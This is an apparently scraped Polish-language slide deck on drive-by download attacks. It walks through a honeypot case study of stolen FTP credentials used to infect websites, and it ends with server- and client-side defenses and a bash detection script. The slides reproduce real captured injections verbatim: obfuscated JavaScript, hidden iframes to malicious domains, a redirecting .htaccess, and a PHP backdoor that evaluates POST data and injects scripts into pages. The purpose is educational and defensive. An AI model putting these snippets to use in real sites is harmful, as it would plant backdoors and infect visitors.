570 likes | 731 Views
Filip Palian filip.palian@pjwstk.edu.pl. Ataki drive-by download. Education Project. Rozkład jazdy. Drive-by download – co to takiego? Dlaczego problem istnieje? Kogo dotyczy problem? Skala problemu Z życia wzięte Studium przypadku Dekodowanie Przeciwdziałanie Przyszłość
E N D
Filip Palian filip.palian@pjwstk.edu.pl Ataki drive-by download Education Project
Rozkład jazdy Drive-by download – co to takiego? Dlaczego problem istnieje? Kogo dotyczy problem? Skala problemu Z życia wzięte Studium przypadku Dekodowanie Przeciwdziałanie Przyszłość Co na to OWASP?
Drive-by download – co to takiego? Pobranie z sieci szkodliwego oprogramowania bez zgody i/lub wiedzy użytkownika
Dlaczego problem istnieje? Błędy w przeglądarkach oraz dodatkach Błędy w stronach internetowych (wstrzyknięcia) Nieświadomość i lenistwo użytkowników Brak (stosowania) odpowiednich zabezpieczeń Botnety SPAM (D)DoS
Dlaczego problem istnieje? $ Pieniądze $ Władza $ Polityka = (pieniądze + władza) $ Religia = (pieniądze + władza)
Kogo głównie dotyczy problem? • Użytkownicy przeglądarek internetowych • Użytkownicy kont FTP + WWW • Twórcy stron internetowych • Firmy hostingowe
Skala problemu http://web.archive.org/web/20080525170526/http://top100.pl/
Skala problemu (home.pl) http://www.google.com/safebrowsing/diagnostic?site=AS:12824
Skala problemu (netart.pl) http://www.google.com/safebrowsing/diagnostic?site=AS:15967
Skala problemu (fastpark.net) http://www.google.com/safebrowsing/diagnostic?site=AS:13727
Skala problemu c.d. • GoDaddy (AS26496) • Dreamhost (AS26347) • Akamai (AS20940) • Microsoft (AS8075) • Google (AS15169) • OVH (AS16276)
Skala problemu c.d. Źródło: http://www.cert.pl/PDF/Raport_CP_2009.pdf
Z życia wzięte (a.k.a. cyferki++) Na przykładzie danych zebranych w okresie VIII 2008 – III 2010: 44042 (wykryte) zainfekowane pliki 233 (wykryte) domeny 70 rodzajów szkodliwego oprogramowania
Z życia wzięte c.d. 2008 2010 2009
Z życia wzięte c.d. Kwi 2009: • Korea Pn. wystrzeliwuje rakietę Taepodong-2 • Trzęsienie ziemi w Meksyku Lip 2009: • Zamachy terrorystyczne na hotele w Dżakarcie • Śmierć Michaela Jacksona Paź 2009: • Barack Obama laureatem pokojowej nagrody Nobla Lut 2010: • Igrzyska olimpijskie w Vancouver • Trzęsienia ziemi na Haiti i w Chile
Z życia wzięte c.d. Źródło: http://cert.gov.pl/portal/cer/8/298/Cyberprzestepcy_wykorzystuja_tragedie_narodowa_aktualizacja.html
Studium przypadku Ofiara odwiedza zainfekowaną stronę WWW Malware na stronie wykorzystuje błąd w oprogramowaniu Kradzież danych dostępowych do konta FTP Zalogowanie się na konto FTP i pobranie plików Dodanie szkodliwej treści do pobranych plików Wgranie na serwer FTP zainfekowanych plików
Studium przypadku c.d. Środowisko testowe honeypota: • VMware • MS Windows XP Professional SP2 • Systemowy firewall • AVG 8 • Adobe Reader 9.x • MS Internet Explorer 6.x • Capture HPC (The Honeynet Project)
Studium przypadku c.d. 1. Ofiara odwiedza zainfekowaną stronę. Gdzie takie znaleźć? • http://www.google.com/safebrowsing/diagnostic?site= • http://stopbadware.org/reports/ip • http://stopbadware.org/reports/asn • http://www.malwaredomainlist.com/mdl.php Co się dzieje na tym etapie?
Studium przypadku c.d. 2. Malware na stronie wykorzystuje błędy w oprogramowaniu • Przeglądarki (głównie IE, FX, Opera) • Wtyczki (Adobe Reader, RealPlayer, ActiveX etc.) • Silniki skryptowe (np. SeaMonkey, JScript, Rhino) No dobrze, i co dalej?
Studium przypadku c.d. Efekt?
Studium przypadku c.d. Co nas uderzyło? Trojan FakeRean Co robi ten trojan? Win32/FakeRean podszywa się pod oprogramowanie antywirusowe i wyświetlanieprawdziwe informacje o zainfekowanych plikach w systemie. Następnie informujeużytkownika o tym, że musi on zapłacić za usunięcie zagrożeń, które nie istnieją. Gdzie znajdę więcej informacji? http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name= Win32%2fFakeRean
Studium przypadku c.d. 3. Kradzież danych dostępowych do konta FTP (i nie tylko) • Sniffery • Keyloggery • Serwery proxy • Zapamiętywanie haseł w aplikacjach
Studium przypadku c.d. 4. Zalogowanie się na konto FTP i pobranie plików Jan 9 16:51:00 foo pure-ftpd: (?@x.x.x.x) [INFO] New connection from x.x.x.x Jan 9 16:51:00 foo pure-ftpd: (?@x.x.x.x) [INFO] ftpuser is now logged in Jan 9 16:51:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/index.html downloaded Jan 9 16:51:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/index.php downloaded Jan 9 16:51:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/bar/index.html downloaded Jan 9 16:51:02 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/tmp/index.htm downloaded (...) Jan 9 16:51:03 foo pure-ftpd: (ftpuser@x.x.x.x) [INFO] Logout.
Studium przypadku c.d. 5. Dodanie szkodliwej treści do pobranych plików • Przed “<html>” • W “<body>” • Po “</html>” • Gdziekolwiek ucinając resztę zawartości pliku
Studium przypadku c.d. 5. Dodanie szkodliwej treści do pobranych plików $ tail -4 index.html </BODY></HTML><!-- ad --><script> .12312313,1313123+13123.31313,d=(("sdfsfd"?(.45,(.33?("wi"+("re","n")):("dfg",.44,d=5))):(.4,"sdf"))),e=(g="5", (.44,.0,"d"+(.33,(.4?(45./.343,"ow"):("34","34"))))),f=("poc"?(.0?.0:"d"+("43",.3,"oc")):"333"),u=(33?("u" +("z",44.,"m")):33)+("e"+(1,1,5,(.3,"n")+("d","t")));y=(a=(444444444444444444444444,55555555,"rrrrrrrrrrrr","e"), b=(.5?"v":("d"?"f":"tt")),c=("33"?(.33/44.,.33,33.,.33,"a"):"z"),g=(("f"),(333/444.,"l")));(ee=eval(a+(55/ (...) ("E","e")))+(("a","r")+("woman","man"))+("ad"+("re","ve"))+"rt"+("his",("is"?"is":"a "+"man"))+"i"+("S","ng")+ (".a",".n")+"et"+("/s","/i")+"n.c"+"gi"+("!!!","?")+("A","3","2")+"&' "+("si","wi")+"d"+"th="+("1","3")+"0 he "+("sig","i"+"g")+"ht=2"+((0,"0")+" s"+("vy","ty"))+"le='v"+("asi",("as","is")+"i")+("b"+(33?"il":"aa"))+"ity:"+ ("bi","hi")+"dd"+("de","en")+"'></i"+"fr"+("na"+("you","me"),"a"+("me"?"me":"you"))+">");}var ahsd78asd as6dyasdiashdiayd=true;</script><!-- /ad --><iframe src="http://homenameworld.cn:8080/ts/in.cgi?pepsi21" width=12 height=12 style="visibility: hidden"></iframe><iframe src="http://nakulpi.net/?click=457956" widt h=1 height=1 style="visibility:hidden;position:absolute"></iframe>
Studium przypadku c.d. 6. Wgranie na serwer FTP zainfekowanych plików Jan 9 16:52:00 foo pure-ftpd: (?@x.x.x.x) [INFO] New connection from x.x.x.x Jan 9 16:52:00 foo pure-ftpd: (?@x.x.x.x) [INFO] ftpuser is now logged in Jan 9 16:52:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/.htaccess uploaded Jan 9 16:52:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/index.html uploaded Jan 9 16:52:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/index.php uploaded Jan 9 16:52:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/bar/.htaccess uploaded Jan 9 16:52:01 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/bar/index.html uploaded Jan 9 16:52:02 foo pure-ftpd: (ftpuser@x.x.x.x) [NOTICE] /srv/www/foo/tmp/jquery.js uploaded (...) Jan 9 16:52:03 foo pure-ftpd: (ftpuser@x.x.x.x) [INFO] Logout.
Studium przypadku c.d. 6. Wgranie na serwer FTP zainfekowanych plików $ cat .htaccess RewriteEngine On RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC] RewriteRule .* http://x.x.x.x/in.html?s=xx [R,L]
Przykłady szkodliwego oprogramowania 1) <iframe src="http://porno-cmc.ru/?partner=1354" width=2 height=2 style="visibility:hidden"></iframe> 2) <?php echo '<iframe src="http://cdp uvbhfzz.com/d l/adv598.php" width=1 height=1></iframe>'; ?> 3) <script>/*GNU GPL*/ try{window.onload = function(){var Z6kdr96vryd = document.createElement ('s!^(@c&!r)#@i^#p@(@t!!$'.replace(/\$|&|\!|\^|#|@|\)|\(/ig, ''));Z6kdr96vryd.setAttribute('type', 'text/javascript');Z6kdr96vryd.setAttribute('src', 'h^^$t$(^^)t@p((:$$/(&(/&y#e(s!&^!k)y&^#-!c$) $o^m^!(@$.&)n$a!))!u$)k)^$r($i!)&&.#@&c(o#$@m!^.($(t^h@@e^p#@i&@r&a&$t))$^)e!((b@ a@)!&y(@^-@&^#o$&^((r)!)g@&(.#^v!@!@i#^e#&$$w@^^h!!$@)o&m@e@s$)a#$!l^e!^.@r&) u$(:&)8)0!)8()@0)/##c$l$!@(i#c#)k)^!s(o$(#r!@^@&.#!)c@&o^@m!##)/#^!!c!$($l#($i)&c@$&k ^^(s!&o!^!&r#!(.)c^^)o&#m&#$/#&^g)u#$$)a#r!&)&&d^^i#)a@!n#$^.#c$@$o$.!^!@u(k(()/)# !g#^!o^^!o!!^g!l)!e&.)c!@o#)m^/&f##&(i$(^l)(e&#h!i#@p&p^)o(.!^@^c&)&o@(!m!))$/^)'. replace(/\(|\!|\$|\^|\)|#|&|@/ig, ''));Z6kdr96vryd.setAttribute('defer', 'defer');Z6kdr96vryd.setAttribute ('id', 'Q((4^f!#3)#z@#5^)!s!&!f)$^9@2^o$)x@#@$)'.replace(/\$|\)|@|#|\!|&|\(|\^/ig, '')); document.body.appendChild(Z6kdr96vryd);}} catch(e) {}</script>
Przykłady szkodliwego oprogramowania c.d. 5) <!-- o --><script language='JavaScript'>function nbsp() {var t,o,l,i,j;var s='';s+='060047116101120116097116101097062060047116101120116097114101097062'; s+='060073070082065077069032115114099061034104116116112058047047109097114099111098101114110097114100111'; s=s+'110105046099111109047098095116114047105110100101120046112104112034032119105100116104061051032104101'; s=s+'105103104116061051032115116121108101061034100105115112108097121058110111110101034062060047073070082'; s=s+'065077069062032'; t='';l=s.length;i=0; while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30)); document.write(String.fromCharCode(t));t='';}}nbsp(); </script><!-- c → 6) <?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_X HGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50Ln DyaXRlKHVuZXNjYXBlKCdkT3ElM0NzY3JpOWdwRWEydE44SiUyMHNPa3JjRWEyJTNET2slMkYlMkY5Zzk0JTJFMERCMjBEQjRFYTI3J TJFMiUyRTlnMTk1T2slMkZqcW9nMnVOOEplRWEycjEweU9rJTJFMERCanMwREIlM0UlM0NPayUyRnNjcmlwdCUzRScpLnJlcGxhY2Uo L044Snw5Z3xFYTJ8MERCfGRPcXxvZzJ8MTB8T2svZywiIikpOwogLS0+PC9zY3JpcHQ+'));function tmp_lkojfghx($s){if($g=(substr ($s,0,2)==chr(31).chr(139)));$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,) {20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s= str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script> #','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body') ||stristr($s,'</title><iframe src="http://cutlot.cn/in.cgi?income51" width=1 height=1style="visibility: hidden"></iframe>'))$s= $s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS ['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1 ) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$ i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0 ]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2() ; ?>
Dekodowanie (na szybko ;-p) noScript i alert() prawdę Ci powiedzą.
Dekodowanie c.d. noScript:
Dekodowanie c.d. alert() na przykładzie Exploit.HTML.IESlice.h: Przed: <script>document.write(unescape('%3C%73%63%72%69%70%74%3E%0D%0A%66%75%6E%63%74%69%6F%6E%20%7A%58%28%73 %29%0D%0A%7B%0D%0A%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%20%73%2E%73%75%62%73%74%72 %28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%0D%0A%76%61%72%20%74%3D%27%27%3B%66%6F%72 %28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%20%74%2B%3D%53%74%72%69%6E%67 %2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D %73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%20%0D%0A%64%6F%63%75 %6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%20%7D%0D%0A%3C%2F%73 %63%72%69%70%74%3E'));zX('%2A8Hxhwnuy%2A75qfslzflj%2A8IOf%7BfXhwnuy%2A8Jkzshynts%2A75ih%2A7%3D%7D%2A7%3E%2A%3CG %7Bfw%2A75q%2A8I');</script> Po: <script>alert(unescape('%3C%73%63%72%69%70%74%3E%0D%0A%66%75%6E%63%74%69%6F%6E%20%7A%58%28%73 %29%0D%0A%7B%0D%0A%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%20%73%2E%73%75%62%73%74%72 %28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%0D%0A%76%61%72%20%74%3D%27%27%3B%66%6F%72 %28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%20%74%2B%3D%53%74%72%69%6E%67 %2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D %73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%20%0D%0A%64%6F%63%75 %6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%20%7D%0D%0A%3C%2F%73 %63%72%69%70%74%3E'));zX('%2A8Hxhwnuy%2A75qfslzflj%2A8IOf%7BfXhwnuy%2A8Jkzshynts%2A75ih%2A7%3D%7D%2A7%3E%2A%3CG %7Bfw%2A75q%2A8I');</script>
Dekodowanie c.d. alert():
Przeciwdziałanie Jak można się bronić o ile w ogóle? W kontekście: • Badaczy • Po stronie serwera • Po stronie klienta
Przeciwdziałanie (research) Narzędzia do analizy szkodliwego oprogramowania: http://stopbadware.com http://unmaskparasites.com http://malzilla.sourceforge.net/index.html http://wepawet.iseclab.org http://virustotal.com (hispasec) http://virusscan.jotti.org http://anubis.iseclab.org http://badwarebusters.org/community/submit http://www.secureworks.com/research/tools/caffeinemonkey.html http://www.google.com/safebrowsing/report_badware/ ...
Przeciwdziałanie (research) c.d. Zalety: • Wysoki stopień wykrywalości szkodliwego oprogramowania Wady: • W większości są to rozwiązania on-line i/lubwymagające interakcji użytkownika • Stosunkowo długi czas analizy plików
Przeciwdziałanie (serwer) Dostępne rozwiązania: • ProFTPD + mod_exec • Pure-FTPd + uploadscript • Firewalle aplikacyjne (WAF-y) • Systemy IDS/IPS • Antywirusy
Przeciwdziałanie (serwer) c.d. Zalety: • Możliwość implementacji własnego rozwiązania z FTPD • Blokada “wstrzyknięć” przez WAF-y Wady: • WAF-y nie posiadają sygnatur dla szkodliwego oprogramowania • Antywirusy słabo rozpoznają szkodliwe oprogramowanie • Systemy IDS/IPS nie posiadają sygnatur dla szkodl. oprogr. • Brak możliwości zabronienia wgrania na serwer zainfekowanych plików
Przeciwdziałanie (serwer) c.d. Przykład własnego rozwiązania opartego na: Pure-FTPd + uploadscript + skrypt bash Gdyby ktoś był ciekaw... Rozwiązanie stabilne, sprawdzone w środowisku produkcyjnym(serwer i ~2000 klientów) z liczbą false positive bliską “/dev/zero”.
Przeciwdziałanie (serwer) c.d. -- cut -- # "THE BEER-WARE LICENSE": # <filip.palian@pjwstk.edu.pl> wrote this file. As long as you retain this # notice you can do whatever you want with this stuff. If we meet some day, # and you think this stuff is worth it, you can buy me a beer in return Filip Palian. ... # Finds: "foo.(cn|ru|ro)" with iframe egrep -i "*[[:print:]]\.(cn|ru|ro)" "$1" | egrep "[[:print:]]<iframe>[[:print:]]" 1>/dev/null; if [ $? -eq 0 ]; then boo "foo.(cn|ru|ro) with iframe"; exit; fi # Finds: "function F00(B4R)" egrep -i "function [[:alnum:]]{14,}\([[:alnum:]]{14,}\)" "$1" 1>/dev/null; if [ $? -eq 0 ]; then boo "function F00(B4R)"; exit; Fi … # Finds: everything else what's in /etc/mwdb.txt for i in `cat $MWDB`; do grep "$i" "$1" 1>/dev/null; if [ $? -eq 0 ]; then boo "/etc/mwdb.txt"; break; fi done -- cut --
Przeciwdziałanie (serwer) c.d. Zalety: • Wysoki stopień wykrywalości szkodliwego oprogramowania Wady: • Stworzenie nowej sygnatury poprzedza infekcja • Brak możliwości zabronienia wgrania na serwerzainfekowanych plików • Utrzymanie i rozwijanie rozwiązania wymagaczasu i środków
Przeciwdziałanie (klient) Antywirusy? Należy korzystać z antywirusów! Źródło: http://www.virustotal.com/pl/analisis/f6f3ebbbd571d208b6941fe811a55b14d447cd94e1e3c0fbc5fec4a7f2d64975-1269855787
Przeciwdziałanie (klient) c.d. Zalety: • Dobry zaktualizowany antywirus być może nas ochroni Wady: • Stosunkowo słaba wykrywalność szkodliwego oprogr. • Potrzeba codziennej aktualizacji bazy sygnatur • Duże prawdopodobieństwo, że dobry zaktualizowanyantywirus nie wykryje zagrożenia